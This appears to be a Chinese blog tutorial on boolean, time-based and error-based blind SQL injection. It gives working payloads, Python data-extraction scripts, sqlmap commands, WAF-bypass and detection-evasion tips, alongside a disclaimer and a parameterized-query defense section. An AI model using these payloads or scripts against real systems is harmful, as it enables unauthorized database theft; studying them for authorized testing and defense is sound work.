尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
SQL盲注详解:布尔、时间、报错三种方式与自动化实战
你是不是也遇到过这种情况页面所有输入点都试遍了参数注入进去毫无反应连个报错都没有数据库像是块石头。但直觉告诉你这里一定有洞。这时候就该盲注上场了。SQL盲注简单说就是当页面不回显数据、不输出SQL错误完全看不到任何直接反馈时通过让数据库“点头”或“摇头”的方式一点一点把数据抠出来的手段。它分三个流派布尔盲注靠页面内容变化判断对错时间盲注靠延时判断报错盲注则是强行让数据库把错误吐出来。这篇文章针对已经能跑通基础SQL注入、但对盲注体系还比较模糊的人把三种方式从原理到实操完整捋一遍附带我实测踩过的坑和一套自动化脚本思路。1. 盲注的前置认知为什么存在盲注以及三种流派的分工1.1 盲注不是独立技术而是注入形态的延伸很多人第一次接触盲注都是在实验室靶场上直接拿if(ascii(substr(database(),1,1))115,sleep(3),0)这种语句试试通了就觉得会了。但换个真实场景数据照样拿不出来原因就是对盲注的底层逻辑没吃透。盲注的前提是你已经确认某个参数存在SQL注入——不管是通过引号报错、单引号和注释符号的响应差异还是通过order by判断列数等常规手法确认的。盲注要解决的核心问题只有一个在无法直接看到查询结果的前提下如何把数据库中的内容一条一条“问”出来。常规注入是让结果以某种形式回显到页面上比如union select把数据填充进页面字段。盲注则是利用数据库查询本身的“副作用”来通信这些副作用包括响应内容的布尔差异、响应时间的长短、报错信息中夹带的数据片段。用通信的方式理解最好——常规注入是打电话直接说盲注是发电报嘀嗒两声是1一声是0一次传一个bit。1.2 三种盲注方式的适用边界盲注三种流派核心差异就在“通信信道”上布尔盲注利用查询条件的真/假导致页面内容不同存在/不存在某内容、返回条数不同从服务器对真假的差异化响应中判断表达式的布尔值。时间盲注利用数据库的延时函数如sleep()通过响应时间是否显著延长判断注入条件是否为真。适用于页面无论真假都返回相同内容的场景。报错盲注利用数据库报错机制在错误信息里直接回显查询结果适用于数据库错误信息被透传回页面的场景。实际测试中最容易犯的错是上来就用时间盲注把每条数据都靠sleep去试效率低到怀疑人生。正确顺序应该是先看页面有沒有布尔差异可以区分有就优先布尔再看不报错能不能读信息能读就报错最后才考虑时间盲注。因为时间盲注单个请求的代价太高数据量一大就是灾难。1.3 盲注测试合法边界与前置条件这里先把话说在前头所有注入测试必须在你有明确授权的环境中进行。自己搭靶场、测试自己的系统、或者参与正规的渗透测试项目有书面授权这些都没问题。没有授权去测别人的网站那不是技术问题是法律问题。我下面所有操作都基于本地搭建的靶场和实验室环境读者复现时请同样在合法环境中操作。2. 布尔盲注最基础也最依赖“页面差异”的判定方式2.1 核心函数与判断逻辑布尔盲注的思路一句话构造带条件的查询让真假两种情况对应页面上的两种状态然后对比。常用函数组合length(database())返回数据库名的长度配合做二分判断substr(database(),1,1)截取字符串第1位配合ascii()转成数字比较ascii()把单个字符转成ASCII码值方便用数值比较最原始的方式是逐个字符试。比如判断数据库名第一位是哪个字符构造?id1 and ascii(substr(database(),1,1))115 --如果页面返回跟id1正常时一样的内容说明条件为真数据库名前缀的ASCII码大于115。如果页面返回空或者错误页说明条件为假。不停地调整数值最终锁定这一位的ASCII码。如果是字符型注入注意闭合方式。常见的有单引号闭合、双引号闭合、单引号加括号闭合等先通过报错或注释判断闭合字符再套上and条件。2.2 二分法提速从逐字符盲猜到对数级逼近逐字符从32试到126一个字符最多要试95次太慢。合理的做法是二分逼近逻辑很简单先判断目标字符的ASCII码是否大于某个中间值如100大于则再与中间上限比较小于则与中间下限比较每次区间减半直到锁定精确值一个字符最多log2(95)≈7次请求就能确定比线性扫描快一个数量级。实际用Burp Suite的Intruder或者自写脚本可以很轻松地自动化这个过程。我自己实测的方法是用Python的requests库写二分脚本下面这段是核心循环可以复用import requests url http://127.0.0.1:8080/user.php # 目标数据库名的第1个字符 # 注入模板和11为真返回正常和12为假返回异常 def inject_sql(payload): params {id: payload} r requests.get(url, paramsparams, timeout10) return 正常内容特征 in r.text # 这里替换成你页面正常时的特征字符串 def get_char_at(pos): low, high 32, 126 while low high: mid (low high) // 2 payload f1 and ascii(substr(database(),{pos},1)){mid} -- if inject_sql(payload): low mid 1 else: high mid return chr(low) print(get_char_at(1))这里最关键的是inject_sql函数里的“特征字符串”。页面正常时一定要选一个稳定出现的特征比如标题、某个固定的HTML片段。不要只靠状态码判断——有些站点即使查询失败也返回200但页面内容会变为空或者变成404文本。选特征字符串最稳。2.3 布尔盲注的常见翻车点踩得最多的坑有三个第一特征选错。实际页面往往整个框架是固定的只有某一块区域随查询结果变化。如果选了公共的导航栏文字那么真假条件都判定为真脚本白跑。解决办法是先分别用and 11和and 12请求一次diff一下两次响应从差异部分挑特征。第二页面存在缓存。有些站点套了CDN或者页面缓存真假响应可能都是从缓存返回的同一份内容这样盲注永远“恒真”。测试时在URL后面拼个随机参数比如_随机数或者直接改User-Agent绕过缓存层。第三字符集与过滤干扰。目标站如果过滤了and、select等关键字纯布尔构造会被拦截。后面专门有一节说绕过思路这里先记住一点布尔盲注的适应性跟关键字过滤强度直接相关遇到强过滤就得换时间盲注或者寻找替代函数。3. 时间盲注无差异时的“秘密通信信道”3.1 为什么需要时间盲注布尔盲注有一个硬前提页面必须对真/假有肉眼可见的差异。但实际环境里很多站点做统一异常处理SQL出错跟正常访问返回完全相同的页面还有些站点查询结果无论真假都返回同一模板只是数据区为空。这时候布尔盲注就失效了时间盲注是替代方案。时间盲注的核心是利用数据库中的延时函数作为“信标”。当注入条件为真时执行延时为假时不延时通过请求的响应时间差异判断真假。MySQL里最常用的是sleep()1 and if(ascii(substr(database(),1,1))115,sleep(3),0) --这个语句的意思是如果数据库名第一位字符的ASCII码大于115就延时3秒否则不延时。请求回来后看响应用了多久——接近3秒就是真的毫秒级返回就是假的。更精确一点为了避免网络抖动导致误判可以用sleep(5)甚至更长。但要注意如果大量请求都触发延时很容易拖垮目标服务器也对时间判断造成干扰。一般建议延时控制在3到5秒之间并设置请求超时上限。3.2 兼容不同数据库的延时手法MySQLsleep(seconds)是最直接的benchmark(count,expr)也可以比如benchmark(10000000,md5(a))让数据库重复计算MD5达到延时的目的。PostgreSQLpg_sleep(seconds)需要pg_sleep函数可用。OracleDBMS_PIPE.RECEIVE_MESSAGE((a),seconds)这类函数在某些版本和权限下不可用要提前确认。SQL ServerWAITFOR DELAY 0:0:3这是最常用的。一个实际的判断逻辑如下1; IF (ASCII(SUBSTRING(DB_NAME(),1,1))115) WAITFOR DELAY 0:0:3--注意不同数据库的注释符、字符串拼接方式、子查询写法差异很大。比如SQL Server的SUBSTRING不是substrMySQL里注释符--后面要加空格或在URL编码中必须写成--或--%20。3.3 时间盲注的时间判断误区时间盲注看起来简单实际误判率最容易失控。几个我踩过的坑网络波动。目标站在海外时一次正常请求本身就要2到3秒你再延时3秒总耗时6秒跟只延时2秒的情况几乎无法区分。这种情况下可以先把正常请求的基准延迟测出来比如发10次请求看平均响应时间再对比注入延时后的时间差值必须显著大于基准延迟的波动范围才能判定为真。并发干扰。自己开多线程跑时间盲注时多个延时请求同时到达目标会导致服务器响应排队某个请求的耗时暴增误判为“真”。给脚本加上串行控制或者对每个请求单独计时并设置合理的间隔。延时函数被禁用。一些高安全配置的数据库会禁用sleep()、benchmark()等耗时函数用了也不延时导致所有判断恒为假。这时候可以先试一下and sleep(0)看返回是否正常、and sleep(3)看是否真的延时确认函数可用再跑数据。3.4 时间盲注实操示例举个例子假设目标站点的URL是http://target.com/product.php?id1页面在真假条件下内容完全相同我们打算用时间盲注跑当前数据库名。第一步验证注入点和延时函数可用GET /product.php?id1 AND sleep(3) --如果响应时间大约等于正常3秒说明注入点存在且sleep可用。注意有些站点是数字型注入不需要闭合单引号直接id1 AND sleep(3)就行。第二步构造条件延时语句判断库名第一个字符GET /product.php?id1 AND if(ascii(substr(database(),1,1))100,sleep(3),0) --响应3秒左右说明ASCII大于100下一步把100改成115继续二分。整个过程逻辑和布尔一致只是把布尔差异换成了时间差异。第三步是字符穷举。二分法依旧适用但效率低很多跑完十六七个字符的库名理论上需要16*7112次请求每次若为真还要白等3秒平均总耗时可能超过10分钟。所以时间盲注场景下我强烈建议写脚本并且把延时降到2秒在稳定性允许的范围内拼速度。下面是一个精简版时间盲注脚本还是以二分法为核心import requests import time url http://target.com/product.php def is_true(payload): params {id: payload} start time.time() requests.get(url, paramsparams, timeout10) elapsed time.time() - start return elapsed 2.5 # sleep(2) 网络基准偏差 def get_char(pos): low, high 32, 126 while low high: mid (low high) // 2 payload f1 and if(ascii(substr(database(),{pos},1)){mid},sleep(2),0) -- if is_true(payload): low mid 1 else: high mid return chr(low)注意超时时间的设置。sleep(2)时请求时长约等于正常2秒如果网络本身有0.5秒波动阈值设在2.5秒左右是比较安全的。4. 报错盲注让数据库变成“传声筒”4.1 报错盲注的原理与触发机制如果目标站点把数据库错误信息原样输出到页面上报错盲注就是三种方式里效率最高的一个——一次请求能出一个结果甚至多个结果根本不用逐字符猜。报错盲注的原理是利用数据库某些函数在参数异常、数据类型不匹配或被特定函数处理时会把参数内容带回错误信息中。本质上是构造一条SQL让数据库在计算过程中把我们想要的数据“拼接”到报错信息的参数位然后页面把这份错误信息渲染出来。以MySQL最常见的extractvalue()为例1 and extractvalue(1,concat(0x7e,(select database()),0x7e)) --这条语句会触发XPATH syntax error错误错误信息类似于XPATH syntax error: ~database_name~extractvalue的第二个参数要求是合法的XPath路径。我们把concat(0x7e,(select database()),0x7e)传进去因为中间夹杂了数据库名整个字符串不是合法XPath路径MySQL解析失败报错但错误信息里把非法路径内容完整带了出来数据库名就泄露了。0x7e就是~波浪号用来包裹数据避免边界模糊。报错结果往往有截断extractvalue最多输出32个字符updatexml同理。数据太长时要用substr分段取值。4.2 常用报错函数速查与选型不同函数对不同版本、不同场景的适用性不同我整理了一个常用函数表函数适用场景限制extractvalue(xml_doc, xpath)MySQL 5.1最通用无需特殊权限报错内容最长32位需分段updatexml(xml_doc, xpath, new_val)MySQL 5.1用法与extractvalue类似同样32位截断floor(rand(0)*2)group byMySQL 5.x利用主键冲突报错需要能执行聚合查询偶尔会有“无报错”的随机性exp(~(select ...))MySQL 5.5溢出报错对版本有要求部分较新版本已修复GTID_SUBTRACT()/NAME_CONST()特定MySQL版本可用适用面窄floor(rand(0)*2)的报错方式是另一种思路利用group by和rand(0)生成重复主键触发Duplicate entry错误。格式如下1 and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a) --这种写法在旧版MySQL比较常见但它有个毛病——有时候第一次执行不报错要跑第二次才出结果因为rand(0)产生的重复情况需要特定的执行次数触发。排查时会让人摸不着头脑如果遇到“明明语句没问题但就是不报错”的情况多刷新两次或调整floor(rand(0)*2)的写法。SQL Server下用convert(int,version)这种类型转换方式1 and convert(int,version) --执行时会报 “Conversion failed when converting the nvarchar value ... to data type int”版本信息也被带出来了。原理都一样让目标数据跟一个不兼容类型做转换数据库把原始值放进错误信息里。4.3 报错盲注的实操流程实操过程在我的测试环境演示一下完整流程如下首先判断报错是否可见。直接在参数后面加单引号看页面有没有SQL错误出现。如果页面显示了类似You have an error in your SQL syntax的内容说明错误信息会回显。接着尝试报错函数。构造1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --页面出现XPATH syntax error: ~test_db~就是成功了。然后是拖数据。查表名时通过information_schema.tables读取1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) --因为报错内容有32位截断所以数据多了要分段1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,31)),1) -- 1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),32,31)),1) --一条一条往后挪把完整列表拼出来。实际操作中群里有人会直接上脚本循环跑效率更高。4.4 报错盲注的坑与规避报错内容被过滤。有些WAF会拦截extractvalue、updatexml这类特征明显的函数名。可以用大小写混合、注释符插入、等价函数替换等方式尝试。比如exTRACTvALUE这种写法对部分规则的绕过有效但核心还是看你面对的过滤规则强度。错误信息被截断或转义。某些中间件会把报错信息截断到固定长度或者把特殊字符HTML转义导致~和显示异常。解决办法是改分隔符比如换用0x23#、0x24$等字符包裹数据选一个不被转义的。页面返回状态码是500但无内容。这说明数据库报错了但应用层拦截了错误输出。这种情况下报错盲注直接失效可以回到布尔或时间盲注。5. 盲注自动化与工具配合解放双手与绕过思路5.1 全自动脚本的完整思路手工测试确认注入点和方式之后跑数据就是个体力活。写自动化脚本时思路要清晰整体流程是确认注入方式和注入点位置参数、闭合方式确认数据长度库名长度、表名长度、字段值长度逐字符获取数据二分或线性遍历库、表、字段汇总输出以布尔盲注为例一个完整的数据拖取脚本要处理两个维度纵向是“位次”横向是“值”。一个循环控制字符串位置一个循环或二分控制字符值。正确的流程顺序是先取长度再取值这样能确定外层循环的范围。下面这段是完整脚本的核心框架可以当模板用import requests url http://target.com/product.php def is_true(payload): r requests.get(url, params{id: payload}, timeout10) return 正常内容特征 in r.text # 求字符串长度 def get_length(exprdatabase()): low, high 0, 200 while low high: mid (low high) // 2 payload f1 and length({expr}){mid} -- if is_true(payload): low mid 1 else: high mid return low # 逐字符获取 def get_string(exprdatabase()): length get_length(expr) result for pos in range(1, length1): low, high 32, 126 while low high: mid (low high) // 2 payload f1 and ascii(substr(({expr}),{pos},1)){mid} -- if is_true(payload): low mid 1 else: high mid result chr(low) return result print(get_string(database()))注意expr参数可以替换成任意子查询比如select table_name from information_schema.tables limit 1,1这样这个脚本就能延伸到拖库名的所有场景。5.2 工具链配合sqlmap 的高效使用与风险控制手工脚本适合练手和理解原理真实场景拖数据我更常用sqlmap的盲注能力。布尔盲注对应--techniqueB时间盲注对应--techniqueT报错盲注对应--techniqueE。常规用法sqlmap -u http://target.com/product.php?id1 --batch --techniqueB --dbmsmysql --dbs--technique可以组合比如--techniqueBE表示同时使用布尔和报错。sqlmap本身能自动识别注入类型和方式但对于过滤严重的站点它自动生成的payload可能被WAF拦掉这时候要手动辅助用--tamper参数加载绕过脚本如space2comment用注释替代空格用--level和--risk提高扫描深度数据较大时加--threads5加速但在真实场景中我很少直接开sqlmap扫原因有两个一是它发出的请求量和特征非常明显很容易触发封禁二是很多自研应用对sqlmap默认UA和payload有针对性拦截。更稳妥的做法是先用Burp手工确认注入点再对同一个请求包用sqlmap的-r模式加载原始请求配合自定义UA和tamper脚本能显著降低误报率。5.3 对抗过滤的常用绕过思路实际目标经常有WAF或应用层过滤盲注的绕过思路要按层次准备。关键字替换。and被过滤时可以用替代sleep被过滤时可以用benchmark替代select被过滤时可以尝试HANDLER、JSON_TABLE等替代方式版本支持前提下。注释符混淆。在关键字中间插入注释符比如sel/**/ectMySQL和MSSQL的部分场景有效。这是最基础的绕过手法。编码绕过。用URL编码、双URL编码、十六进制编码等变形。比如字符串字面量可以用0x...十六进制表示避免出现明文字符。等价函数替代。substr被过滤时用mid、right、left、reverse(substr(reverse(...)))等方式ascii被过滤时用hex()取十六进制再转回字符。绕过的原则就是不要死磕某一种写法多准备几个等价方案根据实际拦截情况切换。我在实战中至少会准备三套完全不同的payload体系一套被拦就换另一套。6. 三种盲注方式的联动策略与防御视角6.1 什么场景下切换哪种盲注实战中我的选型逻辑真正测试一个注入点时我的判断顺序是这样的先发两个请求一个构造and 11一个构造and 12对比响应。如果有明显内容差异直接上布尔盲注。布尔盲注快、稳、判断简单是整个盲注体系里的优先选择。如果响应完全一致接着试and extractvalue(1,concat(0x7e,version(),0x7e))页面如果出现报错信息毫不犹豫用报错盲注因为效率碾压其他两种。如果布尔没差异、报错不显示才轮到时间盲注。时间盲注是最后的手段因为慢且容易受干扰。当单一手段受限时两种盲注可以联动比如用时间盲注确认了库名第一位字符但后面网络质量变差换布尔盲注在同一位上交叉验证能有效降低误判率。我在真实项目中经常这么干尤其是数据量大、命名的关键表时值得多花几个请求确保准确。6.2 从防御方理解盲注的“攻击特征”盲注测试中积累的响应差异规律反过来就是防御检测的核心特征。了解这些特征对防守方同样重要。布尔盲注特征请求参数多次出现and、or、substr、ascii等关键字且同一参数值在短时间内被大量请求覆盖因为二分法会产生连续的不同值。WAF可以直接对单参数在短时间内的请求次数设阈值。时间盲注特征响应时间呈规律性跳变比如稳定在2秒、4秒正常用户请求不会出现这种节奏。检测侧可以统计单IP请求延迟分布超过正常值几倍且多次重复基本可以判定。报错盲注特征请求参数中包含明显报错函数名extractvalue、updatexml等响应中伴随SQL错误关键字。WAF规则匹配这些函数签名非常容易。所以从攻击方角度盲注越成功暴露的特征越规律。这就要求测试时注意控制请求频率、打乱时间节奏、使用代理池降低被安全设备盯上的概率。反过来作为防守方你甚至不需要理解每种盲注的具体操作只需要针对这三种通信特征做统计和拦截就能防住绝大多数自动化盲注攻击。6.3 代码层的根治方案防御的终点永远是修复漏洞本身。盲注的本质是“用户输入未经安全处理就拼接进SQL语句”。最核心的防御措施就是参数化查询。以PHP PDO为例$stmt $pdo-prepare(SELECT * FROM products WHERE id ?); $stmt-execute([$_GET[id]]);参数化之后无论用户输入什么内容都被当作数据而不是SQL语句来解析盲注的根本条件直接消失。同样地Java的PreparedStatement、Python的sqlalchemy.text()配合绑定参数都能达到同样的效果。就算用了参数化也要对错误信息做统一处理不要直接把数据库异常输出到页面。线上环境建议设置display_errorsOff用统一错误页兜底从根上掐断报错盲注的通信链路。7. 写在最后盲注的认知总结与个人经验盲注这一套东西我最初是在做授权测试时被一个“没报错、没回显”的登录接口逼着学会的。当时不懂时间盲注就靠着布尔判断一页一页翻响应一个数据库名猜了快两个小时。后来用二分脚本同样的数据量压缩到几分钟。再后来掌握了报错盲注几个请求就能拿到同样结果。盲注本身不复杂复杂的是对数据获取效率的设计以及各种“异常情况”下不慌不忙换一种手段的能力。根据我的个人经验新手最大的误区就是死记payload而不理解判断逻辑。真正要把盲注用到熟练建议在本地搭一个简单的注入靶场自己写SQL手工注入几次再逐步过渡到脚本自动化。等你能不看笔记按照“先布尔再报错最后时间”的顺序独立把当前数据库名完整跑出来你对SQL注入的理解会有一个质变。后续如果想继续深入可以试试半盲注场景比如order by盲注、堆叠注入与盲注的组合、以及利用SQL注入写webshell等进阶方向那又是一个全新的世界了。
RELATED

相关推荐

Awesome Claude Skills 权限管理实战:四维管控防止AI越权

Awesome Claude Skills 权限管理实战:四维管控防止AI越权

最近在折腾 AI 助手的工作流,尤其是 Claude 相关的技能扩展,有一个话题我憋了很久想认真聊聊——AI助手安全配置里的 Awesome Claude Skills 权限管理。原因很简单,我在本地跑了一阵子技能插件之后发现,很多人在配置阶段就把权限问…

📅 2026/10/22 19:45:14
《哈利·波特》人物关系知识图谱:Neo4j+Flask+ECharts全流程实战

《哈利·波特》人物关系知识图谱:Neo4j+Flask+ECharts全流程实战

做知识图谱方向的毕业设计,最怕的不是技术难,而是做出来像“作业”——数据库存几张表、前端画几个节点、PPT里贴几张截图,答辩的时候一问三不知。我当初选“基于知识图谱的《哈利波特》人物关系系统”就是看中它的天然复杂度:《哈…

📅 2026/10/22 19:45:14
Unity函数耗时监控与Profiler深度采样实战

Unity函数耗时监控与Profiler深度采样实战

1. 这不是“加个Debug.Log”就能解决的性能问题Unity3D项目跑着跑着卡顿、帧率掉到30以下、编辑器里Timeline跳帧、打包后手机发热严重——这些症状背后,90%以上都指向同一个被低估的环节:函数执行耗时失控。很多人第一反应是打开Profiler窗口点几下&…

📅 2026/10/22 19:40:11
MORE NEWS

更多资讯

📰

GFPGAN推理全链路拆解:从预处理到后处理的人脸修复实战

1. GFPGAN源码分析第十四篇:人脸修复模型推理全链路拆解做图像超分和修复方向的朋友,对GFPGAN这个名字应该不陌生。它是一个基于生成对抗网络的人脸修复模型,核心能力是把模糊、低分辨率、带噪点甚至部分损坏的人脸图像,还原成清晰…

📰

AirSim复杂环境无人机自主飞行源码:从仿真到落地全解析

简介:基于AirSim仿真平台的无人机自主飞行Python源码,面向需要完成毕业设计、期末作业、课程设计或参与学科竞赛的本科生与Python开发者,解决复杂仿真环境中无人机自主导航、避障与路径规划的实现问题。资源包共2个文件,包含一个主…

📰

Space Bunny匿名模型实测:百万上下文与原生多模态的真实表现

这几天,AI工具圈里传得最热闹的一件事,就是 WorkBuddy 宣布接入了一个叫 Space Bunny 的匿名模型。官方给出的三组数字确实唬人:100 万 token 上下文窗口、原生多模态、价格倍数只有常规旗舰大模型的 0.03x。说实话,第一眼看到这条…

📰

基于YOLOv12的密集行人检测系统完整实现指南

做密集行人检测这个项目,我前后折腾了将近两个月,踩了不少坑,也积累了不少经验。最近把代码和模型整理归档,想了想还是把整个实现过程完整写出来,给想用YOLOv12做目标检测的朋友一条可参考的路径。这套系统本质上是一个…

📰

Spring AI Alibaba停更后,Java AI应用开发如何选型与迁移

1. 一个停更公告引发的技术选型焦虑前几天在技术群里看到有人转了一条消息,说 Spring AI Alibaba 这个项目停更了,紧接着就有人问了一句“Java 还有希望吗”。这个问题一出来,群里瞬间热闹了,有人开始唱衰 Java 在 AI 领域的前景&…

📰

Python构建高效知识图谱:从数据建模到工程落地全实践

知识图谱这两年其实是一个被反复提起、但又容易被误解的概念。很多人一听"知识图谱",第一反应就是 Neo4j 里的那些花花绿绿的节点关系图,或者觉得那是搜索引擎大厂才玩得起的重型武器。但实际上,用 Python 构建一套高效的知识图谱&…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬